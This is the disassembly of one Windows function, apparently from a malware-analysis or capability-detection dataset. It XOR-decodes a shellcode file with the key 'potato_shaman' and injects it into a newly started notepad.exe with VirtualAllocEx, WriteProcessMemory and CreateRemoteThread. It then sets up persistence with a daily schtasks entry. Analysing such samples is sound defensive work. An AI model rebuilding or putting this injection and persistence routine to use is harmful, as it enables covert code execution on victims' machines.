Function at 0x1400112d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Execute command
Inject thread
Schedule task via at
Schedule task via schtasks
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011c90
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0xcd0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x230
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xcf8]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0xc78], rax
lea rcx, [0x1400250a2]
call fcn.1400113ed
nop
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.14001132f
nop
mov dword [rbp + 0x10], 0x68
mov dword [rbp + 0x4c], 1
xor eax, eax
mov word [rbp + 0x50], ax
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x98]
call fcn.14001132f
nop
lea rax, [rbp + 0xc8]
lea rcx, str.notepad.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xc8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140011dab
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [0x14001f008]
lea rcx, str._s_failed_to_create_a_process_nError:__ld
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
mov r8d, dword [rbp + 0xa8]
mov rdx, qword [section..data]
lea rcx, str._s_created_a_process_w__PID:__ld_n
call fcn.1400111e0
nop
mov qword [rbp + 0xf8], 0
mov eax, dword [rbp + 0xa8]
mov dword [rbp + 0x114], eax
mov dword [rbp + 0x134], 0
mov qword [rbp + 0x158], 0
mov qword [rbp + 0x178], 0
mov r8d, 0x104
lea rdx, [rbp + 0x1a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rbp + 0x4f4], eax
cmp dword [rbp + 0x4f4], 0
jne 0x140011e4a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [0x14001f008]
lea rcx, str._s_failed_to_get_the_module_file_name_nError:__ld
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
cmp dword [rbp + 0x4f4], 0x104
jne 0x140011e74
mov rdx, qword [0x14001f008]
lea rcx, str._s_the_path_length_exceeds_MAX_PATH_n
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rbp + 0x1a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
mov edx, 0x5c
lea rcx, [rbp + 0x3d0]
call fcn.140011451
mov qword [rbp + 0x518], rax
cmp qword [rbp + 0x518], 0
je 0x140011ede
mov rax, qword [rbp + 0x518]
mov byte [rax], 0
lea r9, [rbp + 0x3d0]
lea r8, str._sgood
mov edx, 0x104
lea rcx, [rbp + 0x540]
call fcn.1400112e9
nop
lea r8, [rbp + 0x540]
mov rdx, qword [section..data]
lea rcx, str._s_path_to_the_file_good:__s_n
call fcn.1400111e0
nop
lea rcx, [rbp + 0x540]
call fcn.14001118b
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0
jne 0x140011f54
mov rdx, qword [0x14001f008]
lea rcx, str._s_failed_to_read_the_shellcode_file_n
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
mov rcx, qword [rbp + 0x668]
call fcn.1400111ae
xor edx, edx
mov ecx, 4
div rcx
mov qword [rbp + 0x688], rax
mov rcx, qword [rbp + 0x688]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
jne 0x140011fa7
mov rcx, qword [rbp + 0x668]
call qword [sym.imp.ucrtbased.dll_free]
nop
mov eax, 1
jmp 0x140012446
lea r8, [rbp + 0x688]
mov rdx, qword [rbp + 0x6a8]
mov rcx, qword [rbp + 0x668]
call fcn.14001116d
nop
mov rcx, qword [rbp + 0x668]
call qword [sym.imp.ucrtbased.dll_free]
nop
lea rax, [rbp + 0x6c8]
lea rcx, str.potato_shaman
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x6c8]
call fcn.1400111ae
mov qword [rbp + 0x6f8], rax
mov qword [rbp + 0x718], 0
jmp 0x14001201c
mov rax, qword [rbp + 0x718]
inc rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x688]
cmp qword [rbp + 0x718], rax
jae 0x140012086
mov rax, qword [rbp + 0x718]
mov rcx, qword [rbp + 0x6a8]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov dword [rbp + 0xc74], eax
xor edx, edx
mov rax, qword [rbp + 0x718]
div qword [rbp + 0x6f8]
mov rax, rdx
movsx eax, byte [rbp + rax + 0x6c8]
mov ecx, dword [rbp + 0xc74]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rbp + 0x718]
mov rdx, qword [rbp + 0x6a8]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x14001200b
mov r8d, dword [rbp + 0x114]
mov rdx, qword [section..data]
lea rcx, str._s_trying_to_get_a_handle_to_the_process___ld__n
call fcn.1400111e0
nop
mov r8d, dword [rbp + 0x114]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0
jne 0x1400120f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [rbp + 0x114]
mov rdx, qword [0x14001f008]
lea rcx, str._s_failed_to_get_a_handle_to_the_process___ld__nError:__ld
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
mov r8, qword [rbp + 0x158]
mov rdx, qword [section..data]
lea rcx, str._s_got_a_handle_to_the_process_n___0x_p_n
call fcn.1400111e0
nop
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x688]
xor edx, edx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
jne 0x14001216b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [0x14001f008]
lea rcx, str._s_failed_to_allocate_memory_in_the_process_nError:__ld
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
mov r8, qword [rbp + 0x688]
mov rdx, qword [section..data]
lea rcx, str._s_allocated__zd_bytes_to_the_process_memory_w__PAGE_EXECUTE_READWRITE_permissions_n
call fcn.1400111e0
nop
cmp qword [rbp + 0x158], 0
jne 0x1400121a7
lea rcx, str.Error:_hProcess_is_zero_n
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
cmp qword [rbp + 0xf8], 0
jne 0x1400121c8
lea rcx, str.Error:_rBuffer_is_zero_n
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x688]
mov r8, qword [rbp + 0x6a8]
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov r8, qword [rbp + 0x688]
mov rdx, qword [section..data]
lea rcx, str._s_wrote__zd_bytes_to_the_process_memory_n
call fcn.1400111e0
nop
lea rax, [rbp + 0x134]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0xf8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0
jne 0x14001227d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [0x14001f008]
lea rcx, str._s_failed_to_create_a_remote_thread_nError:__ld
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
mov r9, qword [rbp + 0x178]
mov r8d, dword [rbp + 0x134]
mov rdx, qword [section..data]
lea rcx, str._s_got_a_handle_to_the_newly_created_thread___ld___n___0x_p_n
call fcn.1400111e0
nop
mov rdx, qword [section..data]
lea rcx, str._s_waiting_for_the_thread_to_finish_n
call fcn.1400111e0
nop
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rdx, qword [section..data]
lea rcx, str._s_thread_finished_n
call fcn.1400111e0
nop
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [section..data]
lea rcx, str._s_finished__exiting_n
call fcn.1400111e0
nop
mov rdx, qword [section..data]
lea rcx, str._s_testing_complete__running_task_scheduling_n
call fcn.1400111e0
nop
mov r8d, 0x104
lea rdx, [rbp + 0x1a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rbp + 0x4f4], eax
cmp dword [rbp + 0x4f4], 0
jne 0x14001239a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [0x14001f008]
lea rcx, str._s_failed_to_get_the_module_file_name_nError:__ld
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
cmp dword [rbp + 0x4f4], 0x104
jne 0x1400123c4
mov rdx, qword [0x14001f008]
lea rcx, str._s_the_path_length_exceeds_MAX_PATH_n
call fcn.1400111e0
nop
mov eax, 1
jmp 0x140012446
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rbp + 0x1a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
lea rdx, [rbp + 0x3d0]
lea rcx, str.Path_to_the_current_executable:__s_n
call fcn.1400111e0
nop
lea r9, [rbp + 0x3d0]
lea r8, str.schtasks__create__tn__NotepadTask___tr___s___sc_daily__st_12:00:00__sd_01_01_2023__f
mov edx, 0x168
lea rcx, [rbp + 0x740]
call fcn.140011262
nop
lea rcx, [rbp + 0x740]
call qword [sym.imp.ucrtbased.dll_system]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001c0a0]
call fcn.140011384
mov rax, rdi
mov rcx, qword [rbp + 0xc78]
xor rcx, rbp
call fcn.1400111f9
lea rsp, [rbp + 0xc80]
pop rdi
pop rsi
pop rbp
ret